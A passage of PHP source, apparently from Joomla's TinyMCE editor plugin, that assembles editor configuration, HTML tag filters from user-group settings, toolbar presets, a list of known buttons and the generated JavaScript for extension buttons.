		$db->setQuery($query);

		try
		{
			$template = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			$app->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return '';
		}

		$content_css    = null;
		$templates_path = JPATH_SITE . '/templates';

		// Loading of css file for 'styles' dropdown
		if ($content_css_custom)
		{
			// If URL, just pass it to $content_css
			if (strpos($content_css_custom, 'http') !== false)
			{
				$content_css = $content_css_custom;
			}

			// If it is not a URL, assume it is a file name in the current template folder
			else
			{
				$content_css = JUri::root(true) . '/templates/' . $template . '/css/' . $content_css_custom;

				// Issue warning notice if the file is not found (but pass name to $content_css anyway to avoid TinyMCE error
				if (!file_exists($templates_path . '/' . $template . '/css/' . $content_css_custom))
				{
					$msg = sprintf(JText::_('PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT'), $content_css_custom);
					JLog::add($msg, JLog::WARNING, 'jerror');
				}
			}
		}
		else
		{
			// Process when use_content_css is Yes and no custom file given
			if ($use_content_css)
			{
				// First check templates folder for default template
				// if no editor.css file in templates folder, check system template folder
				if (!file_exists($templates_path . '/' . $template . '/css/editor.css'))
				{
					// If no editor.css file in system folder, show alert
					if (!file_exists($templates_path . '/system/css/editor.css'))
					{
						JLog::add(JText::_('PLG_TINY_ERR_EDITORCSSFILENOTPRESENT'), JLog::WARNING, 'jerror');
					}
					else
					{
						$content_css = JUri::root(true) . '/templates/system/css/editor.css';
					}
				}
				else
				{
					$content_css = JUri::root(true) . '/templates/' . $template . '/css/editor.css';
				}
			}
		}

		$ignore_filter = false;

		// Text filtering
		if ($levelParams->get('use_config_textfilters', 0))
		{
			// Use filters from com_config
			$filter = static::getGlobalFilters();

			$ignore_filter = $filter === false;

			$tagBlacklist  = !empty($filter->tagBlacklist) ? $filter->tagBlacklist : array();
			$attrBlacklist = !empty($filter->attrBlacklist) ? $filter->attrBlacklist : array();
			$tagArray      = !empty($filter->tagArray) ? $filter->tagArray : array();
			$attrArray     = !empty($filter->attrArray) ? $filter->attrArray : array();

			$invalid_elements  = implode(',', array_merge($tagBlacklist, $attrBlacklist, $tagArray, $attrArray));

			// Valid elements are all whitelist entries in com_config, which are now missing in the tagBlacklist
			$default_filter = JFilterInput::getInstance();
			$valid_elements = implode(',', array_diff($default_filter->tagBlacklist, $tagBlacklist));

			$extended_elements = '';
		}
		else
		{
			// Use filters from TinyMCE params
			$invalid_elements  = trim($levelParams->get('invalid_elements', 'script,applet,iframe'));
			$extended_elements = trim($levelParams->get('extended_elements', ''));
			$valid_elements    = trim($levelParams->get('valid_elements', ''));
		}

		$html_height = $this->params->get('html_height', '550');
		$html_width  = $this->params->get('html_width', '');

		if ($html_width == 750)
		{
			$html_width = '';
		}

		// The param is true for vertical resizing only, false or both
		$resizing          = (bool) $levelParams->get('resizing', true);
		$resize_horizontal = (bool) $levelParams->get('resize_horizontal', true);

		if ($resizing && $resize_horizontal)
		{
			$resizing = 'both';
		}

		// Set of always available plugins
		$plugins  = array(
			'autolink',
			'lists',
			'colorpicker',
			'importcss',
		);

		// Allowed elements
		$elements = array(
			'hr[id|title|alt|class|width|size|noshade]',
		);

		if ($extended_elements)
		{
			$elements = array_merge($elements, explode(',', $extended_elements));
		}

		// Prepare the toolbar/menubar
		$knownButtons = static::getKnownButtons();

		// Check if there no value at all
		if (!$levelParams->get('menu') && !$levelParams->get('toolbar1') && !$levelParams->get('toolbar2'))
		{
			// Get from preset
			$presets = static::getToolbarPreset();

			/*
			 * Predefine group as:
			 * Set 0: for Administrator, Editor, Super Users (4,7,8)
			 * Set 1: for Registered, Manager (2,6), all else are public
			 */
			switch (true)
			{
				case isset($ugroups[4]) || isset($ugroups[7]) || isset($ugroups[8]):
					$preset = $presets['advanced'];
					break;

				case isset($ugroups[2]) || isset($ugroups[6]):
					$preset = $presets['medium'];
					break;

				default:
					$preset = $presets['simple'];
			}

			$levelParams->loadArray($preset);
		}

		$menubar  = (array) $levelParams->get('menu', array());
		$toolbar1 = (array) $levelParams->get('toolbar1', array());
		$toolbar2 = (array) $levelParams->get('toolbar2', array());

		// Make an easy way to check which button is enabled
		$allButtons = array_merge($toolbar1, $toolbar2);
		$allButtons = array_combine($allButtons, $allButtons);

		// Check for button-specific plugins
		foreach ($allButtons as $btnName)
		{
			if (!empty($knownButtons[$btnName]['plugin']))
			{
				$plugins[] = $knownButtons[$btnName]['plugin'];
			}
		}

		// Template
		$templates = array();

		if (!empty($allButtons['template']))
		{
			// Note this check for the template_list.js file will be removed in Joomla 4.0
			if (is_file(JPATH_ROOT . '/media/editors/tinymce/templates/template_list.js'))
			{
				// If using the legacy file we need to include and input the files the new way
				$str = file_get_contents(JPATH_ROOT . '/media/editors/tinymce/templates/template_list.js');

				// Find from one [ to the last ]
				$matches = array();
				preg_match_all('/\[.*\]/', $str, $matches);

				// Set variables
				foreach ($matches['0'] as $match)
				{
					$values = array();
					preg_match_all('/\".*\"/', $match, $values);
					$result       = trim($values['0']['0'], '"');
					$final_result = explode(',', $result);

					$templates[] = array(
						'title' => trim($final_result['0'], ' " '),
						'description' => trim($final_result['2'], ' " '),
						'url' => JUri::root(true) . '/' . trim($final_result['1'], ' " '),
					);
				}

			}
			else
			{
				foreach (glob(JPATH_ROOT . '/media/editors/tinymce/templates/*.html') as $filename)
				{
					$filename = basename($filename, '.html');

					if ($filename !== 'index')
					{
						$lang        = JFactory::getLanguage();
						$title       = $filename;
						$description = ' ';

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_TITLE'))
						{
							$title = JText::_('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_TITLE');
						}

						if ($lang->hasKey('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_DESC'))
						{
							$description = JText::_('PLG_TINY_TEMPLATE_' . strtoupper($filename) . '_DESC');
						}

						$templates[] = array(
							'title' => $title,
							'description' => $description,
							'url' => JUri::root(true) . '/media/editors/tinymce/templates/' . $filename . '.html',
						);
					}
				}
			}
		}

		// Check for extra plugins, from the setoptions form
		foreach (array('wordcount' => 1, 'advlist' => 1, 'autosave' => 1, 'contextmenu' => 1) as $pName => $def)
		{
			if ($levelParams->get($pName, $def))
			{
				$plugins[] = $pName;
			}
		}

		// User custom plugins and buttons
		$custom_plugin = trim($levelParams->get('custom_plugin', ''));
		$custom_button = trim($levelParams->get('custom_button', ''));

		if ($custom_plugin)
		{
			$separator = strpos($custom_plugin, ',') !== false ? ',' : ' ';
			$plugins   = array_merge($plugins, explode($separator, $custom_plugin));
		}

		if ($custom_button)
		{
			$separator = strpos($custom_button, ',') !== false ? ',' : ' ';
			$toolbar1  = array_merge($toolbar1, explode($separator, $custom_button));
		}

		// Drag and drop Images
		$allowImgPaste = false;
		$dragdrop      = $levelParams->get('drag_drop', 1);

		if ($dragdrop && $user->authorise('core.create', 'com_media'))
		{
			$externalPlugins['jdragdrop'] = HTMLHelper::_(
					'script',
					'editors/tinymce/plugins/dragdrop/plugin.min.js',
					array('relative' => true, 'version' => 'auto', 'pathOnly' => true)
				);
			$allowImgPaste = true;
			$isSubDir      = '';
			$session       = JFactory::getSession();
			$uploadUrl     = JUri::base() . 'index.php?option=com_media&task=file.upload&tmpl=component&'
				. $session->getName() . '=' . $session->getId()
				. '&' . JSession::getFormToken() . '=1'
				. '&asset=image&format=json';

			if ($app->isClient('site'))
			{
				$uploadUrl = htmlentities($uploadUrl, 0, 'UTF-8', false);
			}

			// Is Joomla installed in subdirectory
			if (JUri::root(true) !== '/')
			{
				$isSubDir = JUri::root(true);
			}

			JText::script('PLG_TINY_ERR_UNSUPPORTEDBROWSER');

			$scriptOptions['setCustomDir']    = $isSubDir;
			$scriptOptions['mediaUploadPath'] = $levelParams->get('path', '');
			$scriptOptions['uploadUri']       = $uploadUrl;
		}

		// Build the final options set
		$scriptOptions = array_merge(
			$scriptOptions,
			array(
			'suffix'  => '.min',
			'baseURL' => JUri::root(true) . '/media/editors/tinymce',
			'directionality' => $text_direction,
			'language' => $langPrefix,
			'autosave_restore_when_empty' => false,
			'skin'   => $skin,
			'theme'  => $theme,
			'schema' => 'html5',

			// Toolbars
			'menubar'  => empty($menubar)  ? false : implode(' ', array_unique($menubar)),
			'toolbar1' => empty($toolbar1) ? null  : implode(' ', $toolbar1),
			'toolbar2' => empty($toolbar2) ? null  : implode(' ', $toolbar2),

			'plugins'  => implode(',', array_unique($plugins)),

			// Cleanup/Output
			'inline_styles'    => true,
			'gecko_spellcheck' => true,
			'entity_encoding'  => $levelParams->get('entity_encoding', 'raw'),
			'verify_html'      => !$ignore_filter,

			'valid_elements'          => $valid_elements,
			'extended_valid_elements' => implode(',', $elements),
			'invalid_elements'        => $invalid_elements,

			// URL
			'relative_urls'      => (bool) $levelParams->get('relative_urls', true),
			'remove_script_host' => false,

			// Layout
			'content_css'        => $content_css,
			'document_base_url'  => JUri::root(true) . '/',
			'paste_data_images'  => $allowImgPaste,
			'importcss_append'   => true,
			'image_title'        => true,
			'height'             => $html_height,
			'width'              => $html_width,
			'resize'             => $resizing,
			'templates'          => $templates,
			'image_advtab'       => (bool) $levelParams->get('image_advtab', false),
			'external_plugins'   => empty($externalPlugins) ? null  : $externalPlugins,
			'contextmenu'        => (bool) $levelParams->get('contextmenu', true) ? null : false,
			'elementpath'        => (bool) $levelParams->get('element_path', true),
		)
		);

		if ($levelParams->get('newlines'))
		{
			// Break
			$scriptOptions['force_br_newlines'] = true;
			$scriptOptions['force_p_newlines']  = false;
			$scriptOptions['forced_root_block'] = '';
		}
		else
		{
			// Paragraph
			$scriptOptions['force_br_newlines'] = false;
			$scriptOptions['force_p_newlines']  = true;
			$scriptOptions['forced_root_block'] = 'p';
		}

		$scriptOptions['rel_list'] = array(
			array('title' => 'None', 'value' => ''),
			array('title' => 'Alternate', 'value' => 'alternate'),
			array('title' => 'Author', 'value' => 'author'),
			array('title' => 'Bookmark', 'value' => 'bookmark'),
			array('title' => 'Help', 'value' => 'help'),
			array('title' => 'License', 'value' => 'license'),
			array('title' => 'Lightbox', 'value' => 'lightbox'),
			array('title' => 'Next', 'value' => 'next'),
			array('title' => 'No Follow', 'value' => 'nofollow'),
			array('title' => 'No Referrer', 'value' => 'noreferrer'),
			array('title' => 'Prefetch', 'value' => 'prefetch'),
			array('title' => 'Prev', 'value' => 'prev'),
			array('title' => 'Search', 'value' => 'search'),
			array('title' => 'Tag', 'value' => 'tag'),
		);

		/**
		 * Shrink the buttons if not on a mobile or if mobile view is off.
		 * If mobile view is on force into simple mode and enlarge the buttons
		 **/
		if (!$this->app->client->mobile)
		{
			$scriptOptions['toolbar_items_size'] = 'small';
		}
		elseif ($levelParams->get('mobile', 0))
		{
			$scriptOptions['menubar'] = false;
			unset($scriptOptions['toolbar2']);
		}

		$options['tinyMCE']['default'] = $scriptOptions;

		$doc->addStyleDeclaration('.mce-in { padding: 5px 10px !important;}');
		$doc->addScriptOptions('plg_editor_tinymce', $options);

		return $editor;
	}

	/**
	 * Get the toggle editor button
	 *
	 * @param   string  $name  Editor name
	 *
	 * @return  string
	 */
	private function _toogleButton($name)
	{
		return JLayoutHelper::render('joomla.tinymce.togglebutton', $name);
	}

	/**
	 * Get the XTD buttons and render them inside tinyMCE
	 *
	 * @param   string  $name      the id of the editor field
	 * @param   string  $excluded  the buttons that should be hidden
	 *
	 * @return array
	 */
	private function tinyButtons($name, $excluded)
	{
		// Get the available buttons
		$buttons = $this->_subject->getButtons($name, $excluded);

		// Init the arrays for the buttons
		$tinyBtns  = array();
		$btnsNames = array();

		// Build the script
		foreach ($buttons as $i => $button)
		{
			if ($button->get('name'))
			{
				// Set some vars
				$name    = 'button-' . $i . str_replace(' ', '', $button->get('text'));
				$title   = $button->get('text');
				$onclick = $button->get('onclick') ?: null;
				$options = $button->get('options');
				$icon    = $button->get('name');

				if ($button->get('link') !== '#')
				{
					$href = JUri::base() . $button->get('link');
				}
				else
				{
					$href = null;
				}

				// We do some hack here to set the correct icon for 3PD buttons
				$icon = 'none icon-' . $icon;

				$tempConstructor = array();

				// Now we can built the script
				$tempConstructor[] = '!(function(){';

				// Get the modal width/height
				if ($options && is_scalar($options))
				{
					$tempConstructor[] = 'var getBtnOptions=new Function("return ' . addslashes($options) . '"),';
					$tempConstructor[] = 'btnOptions=getBtnOptions(),';
					$tempConstructor[] = 'modalWidth=btnOptions.size&&btnOptions.size.x?btnOptions.size.x:null,';
					$tempConstructor[] = 'modalHeight=btnOptions.size&&btnOptions.size.y?btnOptions.size.y:null;';
				}
				else
				{
					$tempConstructor[] = 'var btnOptions={},modalWidth=null,modalHeight=null;';
				}

				// Now we can built the script
				// AddButton starts here
				$tempConstructor[] = 'editor.addButton("' . $name . '",{';
				$tempConstructor[] = 'text:"' . $title . '",';
				$tempConstructor[] = 'title:"' . $title . '",';
				$tempConstructor[] = 'icon:"' . $icon . '",';

				// Onclick starts here
				$tempConstructor[] = 'onclick:function(){';

				if ($href || $button->get('modal'))
				{
					// TinyMCE standard modal options
					$tempConstructor[] = 'var modalOptions={';
					$tempConstructor[] = 'title:"' . $title . '",';
					$tempConstructor[] = 'url:"' . $href . '",';
					$tempConstructor[] = 'buttons:[{text: "Close",onclick:"close"}]';
					$tempConstructor[] = '};';

					// Set width/height
					$tempConstructor[] = 'if(modalWidth){modalOptions.width=modalWidth;}';
					$tempConstructor[] = 'if(modalHeight){modalOptions.height = modalHeight;}';
					$tempConstructor[] = 'var win=editor.windowManager.open(modalOptions);';

					if (JFactory::getApplication()->client->mobile)
					{
						$tempConstructor[] = 'win.fullscreen(true);';
					}

					if ($onclick && ($button->get('modal') || $href))
					{
						// Adds callback for close button
						$tempConstructor[] = $onclick . ';';
					}
				}
				else
				{
					// Adds callback for the button, eg: readmore
					$tempConstructor[] = $onclick . ';';
				}

				// Onclick ends here
				$tempConstructor[] = '}';

				// AddButton ends here
				$tempConstructor[] = '});';

				// IIFE ends here
				$tempConstructor[] = '})();';

				// The array with the toolbar buttons
				$btnsNames[] = $name . ' | ';

				// The array with code for each button
				$tinyBtns[] = implode('', $tempConstructor);
			}
		}

		return array(
				'names'  => $btnsNames,
				'script' => $tinyBtns
		);
	}

	/**
	 * Get the global text filters to arbitrary text as per settings for current user groups
	 *
	 * @return  JFilterInput
	 *
	 * @since   3.6
	 */
	protected static function getGlobalFilters()
	{
		// Filter settings
		$config     = JComponentHelper::getParams('com_config');
		$user       = JFactory::getUser();
		$userGroups = JAccess::getGroupsByUser($user->get('id'));

		$filters = $config->get('filters');

		$blackListTags       = array();
		$blackListAttributes = array();

		$customListTags       = array();
		$customListAttributes = array();

		$whiteListTags       = array();
		$whiteListAttributes = array();

		$whiteList  = false;
		$blackList  = false;
		$customList = false;
		$unfiltered = false;

		// Cycle through each of the user groups the user is in.
		// Remember they are included in the public group as well.
		foreach ($userGroups as $groupId)
		{
			// May have added a group but not saved the filters.
			if (!isset($filters->$groupId))
			{
				continue;
			}

			// Each group the user is in could have different filtering properties.
			$filterData = $filters->$groupId;
			$filterType = strtoupper($filterData->filter_type);

			if ($filterType === 'NH')
			{
				// Maximum HTML filtering.
			}
			elseif ($filterType === 'NONE')
			{
				// No HTML filtering.
				$unfiltered = true;
			}
			else
			{
				// Blacklist or whitelist.
				// Preprocess the tags and attributes.
				$tags           = explode(',', $filterData->filter_tags);
				$attributes     = explode(',', $filterData->filter_attributes);
				$tempTags       = array();
				$tempAttributes = array();

				foreach ($tags as $tag)
				{
					$tag = trim($tag);

					if ($tag)
					{
						$tempTags[] = $tag;
					}
				}

				foreach ($attributes as $attribute)
				{
					$attribute = trim($attribute);

					if ($attribute)
					{
						$tempAttributes[] = $attribute;
					}
				}

				// Collect the blacklist or whitelist tags and attributes.
				// Each list is cummulative.
				if ($filterType === 'BL')
				{
					$blackList           = true;
					$blackListTags       = array_merge($blackListTags, $tempTags);
					$blackListAttributes = array_merge($blackListAttributes, $tempAttributes);
				}
				elseif ($filterType === 'CBL')
				{
					// Only set to true if Tags or Attributes were added
					if ($tempTags || $tempAttributes)
					{
						$customList           = true;
						$customListTags       = array_merge($customListTags, $tempTags);
						$customListAttributes = array_merge($customListAttributes, $tempAttributes);
					}
				}
				elseif ($filterType === 'WL')
				{
					$whiteList           = true;
					$whiteListTags       = array_merge($whiteListTags, $tempTags);
					$whiteListAttributes = array_merge($whiteListAttributes, $tempAttributes);
				}
			}
		}

		// Remove duplicates before processing (because the blacklist uses both sets of arrays).
		$blackListTags        = array_unique($blackListTags);
		$blackListAttributes  = array_unique($blackListAttributes);
		$customListTags       = array_unique($customListTags);
		$customListAttributes = array_unique($customListAttributes);
		$whiteListTags        = array_unique($whiteListTags);
		$whiteListAttributes  = array_unique($whiteListAttributes);

		// Unfiltered assumes first priority.
		if ($unfiltered)
		{
			// Dont apply filtering.
			return false;
		}
		else
		{
			// Custom blacklist precedes Default blacklist
			if ($customList)
			{
				$filter = JFilterInput::getInstance(array(), array(), 1, 1);

				// Override filter's default blacklist tags and attributes
				if ($customListTags)
				{
					$filter->tagBlacklist = $customListTags;
				}

				if ($customListAttributes)
				{
					$filter->attrBlacklist = $customListAttributes;
				}
			}
			// Blacklists take second precedence.
			elseif ($blackList)
			{
				// Remove the white-listed tags and attributes from the black-list.
				$blackListTags       = array_diff($blackListTags, $whiteListTags);
				$blackListAttributes = array_diff($blackListAttributes, $whiteListAttributes);

				$filter = JFilterInput::getInstance($blackListTags, $blackListAttributes, 1, 1);

				// Remove whitelisted tags from filter's default blacklist
				if ($whiteListTags)
				{
					$filter->tagBlacklist = array_diff($filter->tagBlacklist, $whiteListTags);
				}

				// Remove whitelisted attributes from filter's default blacklist
				if ($whiteListAttributes)
				{
					$filter->attrBlacklist = array_diff($filter->attrBlacklist, $whiteListAttributes);
				}
			}
			// Whitelists take third precedence.
			elseif ($whiteList)
			{
				// Turn off XSS auto clean
				$filter = JFilterInput::getInstance($whiteListTags, $whiteListAttributes, 0, 0, 0);
			}
			// No HTML takes last place.
			else
			{
				$filter = JFilterInput::getInstance();
			}

			return $filter;
		}
	}

	/**
	 * Return list of known TinyMCE buttons
	 *
	 * @return array
	 *
	 * @since 3.7.0
	 */
	public static function getKnownButtons()
	{
		// See https://www.tinymce.com/docs/demo/full-featured/
		// And https://www.tinymce.com/docs/plugins/
		$buttons = array(

			// General buttons
			'|'              => array('label' => JText::_('PLG_TINY_TOOLBAR_BUTTON_SEPARATOR'), 'text' => '|'),

			'undo'           => array('label' => 'Undo'),
			'redo'           => array('label' => 'Redo'),

			'bold'           => array('label' => 'Bold'),
			'italic'         => array('label' => 'Italic'),
			'underline'      => array('label' => 'Underline'),
			'strikethrough'  => array('label' => 'Strikethrough'),
			'styleselect'    => array('label' => JText::_('PLG_TINY_TOOLBAR_BUTTON_STYLESELECT'), 'text' => 'Formats'),
			'formatselect'   => array('label' => JText::_('PLG_TINY_TOOLBAR_BUTTON_FORMATSELECT'), 'text' => 'Paragraph'),
			'fontselect'     => array('label' => JText::_('PLG_TINY_TOOLBAR_BUTTON_FONTSELECT'), 'text' => 'Font Family'),
			'fontsizeselect' => array('label' => JText::_('PLG_TINY_TOOLBAR_BUTTON_FONTSIZESELECT'), 'text' => 'Font Sizes'),

			'alignleft'     => array('label' => 'Align left'),
			'aligncenter'   => array('label' => 'Align center'),
			'alignright'    => array('label' => 'Align right'),
			'alignjustify'  => array('label' => 'Justify'),

			'outdent'       => array('label' => 'Decrease indent'),
			'indent'        => array('label' => 'Increase indent'),

			'bullist'       => array('label' => 'Bullet list'),
			'numlist'       => array('label' => 'Numbered list'),

			'link'          => array('label' => 'Insert/edit link', 'plugin' => 'link'),
			'unlink'        => array('label' => 'Remove link', 'plugin' => 'link'),

			'subscript'     => array('label' => 'Subscript'),
			'superscript'   => array('label' => 'Superscript'),
			'blockquote'    => array('label' => 'Blockquote'),

			'cut'           => array('label' => 'Cut'),
			'copy'          => array('label' => 'Copy'),
			'paste'         => array('label' => 'Paste', 'plugin' => 'paste'),
			'pastetext'     => array('label' => 'Paste as text', 'plugin' => 'paste'),
			'removeformat'  => array('label' => 'Clear formatting'),

			// Buttons from the plugins
			'forecolor'      => array('label' => 'Text color', 'plugin' => 'textcolor'),
			'backcolor'      => array('label' => 'Background color', 'plugin' => 'textcolor'),
			'anchor'         => array('label' => 'Anchor', 'plugin' => 'anchor'),
			'hr'             => array('label' => 'Horizontal line', 'plugin' => 'hr'),
			'ltr'            => array('label' => 'Left to right', 'plugin' => 'directionality'),
			'rtl'            => array('label' => 'Right to left', 'plugin' => 'directionality'),
			'code'           => array('label' => 'Source code', 'plugin' => 'code'),
			'codesample'     => array('label' => 'Insert/Edit code sample', 'plugin' => 'codesample'),
			'table'          => array('label' => 'Table', 'plugin' => 'table'),
			'charmap'        => array('label' => 'Special character', 'plugin' => 'charmap'),
			'visualchars'    => array('label' => 'Show invisible characters', 'plugin' => 'visualchars'),
			'visualblocks'   => array('label' => 'Show blocks', 'plugin' => 'visualblocks'),
			'nonbreaking'    => array('label' => 'Nonbreaking space', 'plugin' => 'nonbreaking'),
			'emoticons'      => array('label' => 'Emoticons', 'plugin' => 'emoticons'),
			'image'          => array('label' => 'Insert/edit image', 'plugin' => 'image'),
			'media'          => array('label' => 'Insert/edit video', 'plugin' => 'media'),
			'pagebreak'      => array('label' => 'Page break', 'plugin' => 'pagebreak'),
			'print'          => array('label' => 'Print', 'plugin' => 'print'),
			'preview'        => array('label' => 'Preview', 'plugin' => 'preview'),
			'fullscreen'     => array('label' => 'Fullscreen', 'plugin' => 'fullscreen'),
			'template'       => array('label' => 'Insert template', 'plugin' => 'template'),
			'searchreplace'  => array('label' => 'Find and replace', 'plugin' => 'searchreplace'),
			'insertdatetime' => array('label' => 'Insert date/time', 'plugin' => 'insertdatetime'),
			// 'spellchecker'   => array('label' => 'Spellcheck', 'plugin' => 'spellchecker'),
		);

		return $buttons;
	}

	/**
	 * Return toolbar presets
	 *
	 * @return array
	 *
	 * @since 3.7.0
	 */
	public static function getToolbarPreset()
	{
		$preset = array();

		$preset['simple'] = array(
			'menu' => array(),
			'toolbar1' => array(
				'bold', 'underline', 'strikethrough', '|',
				'undo', 'redo', '|',
				'bullist', 'numlist', '|',
				'pastetext'
			),
			'toolbar2' => array(),
		);

		$preset['medium'] = array(
			'menu' => array('edit', 'insert', 'view', 'format', 'table', 'tools'),
			'toolbar1' => array(
				'bold', 'italic', 'underline', 'strikethrough', '|',
				'alignleft', 'aligncenter', 'alignright', 'alignjustify', '|',
				'formatselect', '|',
				'bullist', 'numlist', '|',
				'outdent', 'indent', '|',
				'undo', 'redo', '|',
				'link', 'unlink', 'anchor', 'code', '|',
				'hr', 'table', '|',
				'subscript', 'superscript', '|',
				'charmap', 'pastetext' , 'preview'
			),
			'toolbar2' => array(),
		);

		$preset['advanced'] = array(
			'menu'     => array('edit', 'insert', 'view', 'format', 'table', 'tools'),
			'toolbar1' => array(
				'bold', 'italic', 'underline', 'strikethrough', '|',
				'alignleft', 'aligncenter', 'alignright', 'alignjustify', '|',
				'styleselect', '|',
				'formatselect', 'fontselect', 'fontsizeselect', '|',
				'searchreplace', '|',
				'bullist', 'numlist', '|',
				'outdent', 'indent', '|',
				'undo', 'redo', '|',
				'link', 'unlink', 'anchor', 'image', '|',
				'code', '|',
				'forecolor', 'backcolor', '|',
				'fullscreen', '|',
				'table', '|',
				'subscript', 'superscript', '|',
				'charmap', 'emoticons', 'media', 'hr', 'ltr', 'rtl', '|',
				'cut', 'copy', 'paste', 'pastetext', '|',
				'visualchars', 'visualblocks', 'nonbreaking', 'blockquote', 'template', '|',
				'print', 'preview', 'codesample', 'insertdatetime', 'removeformat',
			),
			'toolbar2' => array(),
		);

		return $preset;
	}

	/**
	 * Gets the plugin extension id.
	 *
	 * @return  int  The plugin id.
	 *
	 * @since   3.7.0
	 */
	private function getPluginId()
	{
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
					->select($db->quoteName('extension_id'))
					->from($db->quoteName('#__extensions'))
					->where($db->quoteName('folder') . ' = ' . $db->quote($this->_type))
					->where($db->quoteName('element') . ' = ' . $db->quote($this->_name));
		$db->setQuery($query);

		return (int) $db->loadResult();
	}

	/**
	 * Display the editor area.
	 *
	 * @param   string   $name     The name of the editor area.
	 * @param   string   $content  The content of the field.
	 * @param   string   $width    The width of the editor area.
	 * @param   string   $height   The height of the editor area.
	 * @param   int      $col      The number of columns for the editor area.
	 * @param   int      $row      The number of rows for the editor area.
	 * @param   boolean  $buttons  True and the editor buttons will be displayed.
	 * @param   string   $id       An optional ID for the textarea. If not supplied the name is used.
	 * @param   string   $asset    The object asset
	 * @param   object   $author   The author.
	 * @param   array    $params   Associative array of editor parameters.
	 *
	 * @return  string
	 *
	 * @since  3.7.0
	 *
	 * @deprecated 4.0
	 */
	private function onDisplayLegacy(
		$name, $content, $width, $height, $col, $row, $buttons = true, $id = null, $asset = null, $author = null, $params = array())
	{
		if (empty($id))
		{
			$id = $name;
		}

		$id            = preg_replace('/(\s|[^A-Za-z0-9_])+/', '_', $id);
		$nameGroup     = explode('[', preg_replace('/\[\]|\]/', '', $name));
		$fieldName     = end($nameGroup);
		$scriptOptions = array();

		// Check for existing options
		$doc     = JFactory::getDocument();
		$options = $doc->getScriptOptions('plg_editor_tinymce');

		// Only add "px" to width and height if they are not given as a percentage
		if (is_numeric($width))
		{
			$width .= 'px';
		}

		if (is_numeric($height))
		{
			$height .= 'px';
		}

		// Data object for the layout
		$textarea = new stdClass;
		$textarea->name    = $name;
		$textarea->id      = $id;
		$textarea->class   = 'mce_editable joomla-editor-tinymce';
		$textarea->cols    = $col;
		$textarea->rows    = $row;
		$textarea->width   = $width;
		$textarea->height  = $height;
		$textarea->content = $content;

		// Set editor to readonly mode
		$textarea->readonly = !empty($params['readonly']);

		// Render Editor markup
		$editor = '<div class="editor js-editor-tinymce">';
		$editor .= JLayoutHelper::render('joomla.tinymce.textarea', $textarea);
		$editor .= $this->_toogleButton($id);
		$editor .= '</div>';

		// Prepare instance specific options, actually the ext-buttons
		if (empty($options['tinyMCE'][$fieldName]['joomlaExtButtons']))
		{
			$btns = $this->tinyButtons($id, $buttons);

			if (!empty($btns['names']))
			{
				JHtml::_('script', 'editors/tinymce/tiny-close.min.js', array('version' => 'auto', 'relative' => true), array('defer' => 'defer'));
			}

			// Set editor to readonly mode
			if (!empty($params['readonly']))
			{
				$options['tinyMCE'][$fieldName]['readonly'] = 1;
			}

			$options['tinyMCE'][$fieldName]['joomlaMergeDefaults'] = true;
			$options['tinyMCE'][$fieldName]['joomlaExtButtons']    = $btns;

			$doc->addScriptOptions('plg_editor_tinymce', $options, false);
		}

		// Setup Default options for the Editor script

		// Check whether we already have them
		if (!empty($options['tinyMCE']['default']))
		{
			return $editor;
		}

		$app      = JFactory::getApplication();
		$user     = JFactory::getUser();
		$language = JFactory::getLanguage();
		$mode     = (int) $this->params->get('mode', 1);
		$theme    = 'modern';

		// List the skins
		$skindirs = glob(JPATH_ROOT . '/media/editors/tinymce/skins' . '/*', GLOB_ONLYDIR);


		// Set the selected skin
		$skin = 'lightgray';
		$side = $app->isClient('administrator') ? 'skin_admin' : 'skin';

		if ((int) $this->params->get($side, 0) < count($skindirs))
		{
			$skin = basename($skindirs[(int) $this->params->get($side, 0)]);
		}

		$langMode        = $this->params->get('lang_mode', 0);
		$langPrefix      = $this->params->get('lang_code', 'en');

		if ($langMode)
		{
			if (file_exists(JPATH_ROOT . "/media/editors/tinymce/langs/" . $language->getTag() . ".js"))
			{
				$langPrefix = $language->getTag();
			}
			elseif (file_exists(JPATH_ROOT . "/media/editors/tinymce/langs/" . substr($language->getTag(), 0, strpos($language->getTag(), '-')) . ".js"))
			{
				$langPrefix = substr($language->getTag(), 0, strpos($language->getTag(), '-'));
			}
			else
			{
				$langPrefix = "en";
			}
		}

		$text_direction = 'ltr';

		if ($language->isRtl())
		{
			$text_direction = 'rtl';
		}

		$use_content_css    = $this->params->get('content_css', 1);
		$content_css_custom = $this->params->get('content_css_custom', '');

		/*
		 * Lets get the default template for the site application
		 */
		$db    = JFactory::getDbo();
		$query = $db->getQuery(true)
					->select('template')
					->from('#__template_styles')
					->where('client_id=0 AND home=' . $db->quote('1'));

		$db->setQuery($query);

		try
		{
			$template = $db->loadResult();
		}
		catch (RuntimeException $e)
		{
			$app->enqueueMessage(JText::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

			return;
		}

		$content_css    = null;
		$templates_path = JPATH_SITE . '/templates';

		// Loading of css file for 'styles' dropdown
		if ($content_css_custom)
		{
			// If URL, just pass it to $content_css
			if (strpos($content_css_custom, 'http') !== false)
			{
				$content_css = $content_css_custom;
			}

			// If it is not a URL, assume it is a file name in the current template folder
			else
			{
				$content_css = JUri::root(true) . '/templates/' . $template . '/css/' . $content_css_custom;

				// Issue warning notice if the file is not found (but pass name to $content_css anyway to avoid TinyMCE error
				if (!file_exists($templates_path . '/' . $template . '/css/' . $content_css_custom))
				{
					$msg = sprintf(JText::_('PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT'), $content_css_custom);
					JLog::add($msg, JLog::WARNING, 'jerror');
				}
			}
		}
		else
		{
			// Process when use_content_css is Yes and no custom file given
			if ($use_content_css)
			{
				// First check templates folder for default template
				// if no editor.css file in templates folder, check system template folder
				if (!file_exists($templates_path . '/' . $template . '/css/editor.css'))
				{
					// If no editor.css file in system folder, show alert
					if (!file_exists($templates_path . '/system/css/editor.css'))
					{
						JLog::add(JText::_('PLG_TINY_ERR_EDITORCSSFILENOTPRESENT'), JLog::WARNING, 'jerror');
					}
					else
					{
						$content_css = JUri::root(true) . '/templates/system/css/editor.css';
					}
				}
				else
				{
					$content_css = JUri::root(true) . '/templates/' . $template . '/css/editor.css';
				}
			}
		}

